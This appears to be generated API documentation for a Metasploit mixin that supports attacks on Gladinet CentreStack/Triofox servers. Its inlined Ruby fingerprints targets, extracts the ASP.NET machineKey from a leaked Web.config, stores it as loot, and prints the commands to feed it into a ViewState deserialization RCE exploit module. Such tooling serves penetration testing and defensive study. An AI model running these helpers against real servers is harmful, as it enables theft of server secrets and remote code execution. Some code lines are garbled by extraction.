Module: Msf::Auxiliary::Gladinet
- Defined in:
- lib/msf/core/auxiliary/gladinet.rb
Overview
Module for shared Gladinet CentreStack/Triofox functionality
Constant Summary collapse
- EXPLOIT_MODULE =
Exploit module for ViewState deserialization RCE
'exploit/windows/http/gladinet_viewstate_deserialization_cve_2025_30406'.freeze
Instance Method Summary collapse
-
#contains_machinekey?(content) ⇒ Boolean
Check if content contains a machineKey.
-
#detect_app_type(body) ⇒ String
Detect the application type from response body.
-
#extract_build_version(body) ⇒ String?
Extract build version from response body.
-
#extract_machinekey(content) ⇒ String?
Extract machineKey validationKey from Web.config content.
-
#gladinet?(response) ⇒ Boolean
Check if target is a Gladinet CentreStack/Triofox installation.
-
#gladinet_version ⇒ String?
Send a GET request to the Gladinet login page and extract version.
-
#handle_machinekey_extraction(content, filepath, loot_description = 'MachineKey extracted from Gladinet Web.config') ⇒ Object
Extract and save machineKey, then display instructions for RCE exploit.
Instance Method Details
#contains_machinekey?(content) ⇒ Boolean
Check if content contains a machineKey
38 39 40 |
# File 'lib/msf/core/auxiliary/gladinet.rb', line 38 def contains_machinekey?(content) !extract_machinekey(content).nil? end |
#detect_app_type(body) ⇒ String
Detect the application type from response body
100 101 102 103 104 105 |
# File 'lib/msf/core/auxiliary/gladinet.rb', line 100 def detect_app_type(body) return 'CentreStack' if body.include?('CentreStack') return 'Triofox' if body.include?('Triofox') 'Unknown' end |
#extract_build_version(body) ⇒ String?
Extract build version from response body
111 112 113 114 115 116 |
# File 'lib/msf/core/auxiliary/gladinet.rb', line 111 def extract_build_version(body) build = body.match(/\(Build\s*.*\)/) return nil if build.nil? build[0].gsub(/[[:space:]]/, '').split('Build')[1].chomp(')') end |
#extract_machinekey(content) ⇒ String?
Extract machineKey validationKey from Web.config content
18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
# File 'lib/msf/core/auxiliary/gladinet.rb', line 18 def extract_machinekey(content) return nil unless content # Extract machineKey from Web.config # Pattern: <machineKey ... validationKey="..." ... /> # NOTE: The exploit module only needs the validationKey, not the decryptionKey # The regex allows for any attributes before validationKey (e.g., decryption="AES", decryptionKey="...") machinekey_match = content.match(/<machineKey[^>]*validationKey="([^"]+)"/i) return nil unless machinekey_match validation_key = machinekey_match[1] # Return only validationKey (hex format) as required by the exploit module validation_key end |
#gladinet?(response) ⇒ Boolean
Check if target is a Gladinet CentreStack/Triofox installation
79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 |
# File 'lib/msf/core/auxiliary/gladinet.rb', line 79 def gladinet?(response) return false unless response&.code == 200 # Check for Gladinet-specific cookies (strong indicator) = response. || '' = .include?('y-glad-state=') || .include?('y-glad-lsid=') || .include?('y-glad-token=') # Check for ViewState generator in body (required for ASP.NET ViewState) has_viewstate = response.body.include?('id="__VIEWSTATEGENERATOR"') # Check for Gladinet branding in body has_gladinet_branding = response.body.include?('CentreStack') || response.body.include?('Triofox') || response.body.include?('GLADINET') # At least one strong indicator (cookies or ViewState + branding) () || (has_viewstate && has_gladinet_branding) end |
#gladinet_version ⇒ String?
Send a GET request to the Gladinet login page and extract version
121 122 123 124 125 126 127 128 129 |
# File 'lib/msf/core/auxiliary/gladinet.rb', line 121 def gladinet_version res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'portal', 'loginpage.aspx') }) return nil unless res&.code == 200 && gladinet?(res) extract_build_version(res.body) end |
#handle_machinekey_extraction(content, filepath, loot_description = 'MachineKey extracted from Gladinet Web.config') ⇒ Object
Extract and save machineKey, then display instructions for RCE exploit
47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 |
# File 'lib/msf/core/auxiliary/gladinet.rb', line 47 def handle_machinekey_extraction(content, filepath, loot_description = 'MachineKey extracted from Gladinet Web.config') return unless content.include?('machineKey') || filepath.include?('Web.config') machinekey = extract_machinekey(content) unless machinekey print_warning('Could not extract machineKey from Web.config') return nil end print_good('Extracted machineKey from Web.config') print_line("MachineKey: #{machinekey}") print_line print_good("For RCE: use #{EXPLOIT_MODULE}") print_status('Set the MACHINEKEY option in the exploit module:') print_line("use #{EXPLOIT_MODULE}") print_line("set MACHINEKEY #{machinekey}") key_path = store_loot( 'gladinet.machinekey', 'text/plain', datastore['RHOST'], machinekey, 'machinekey.txt', loot_description ) print_good("MachineKey saved to: #{key_path}") end |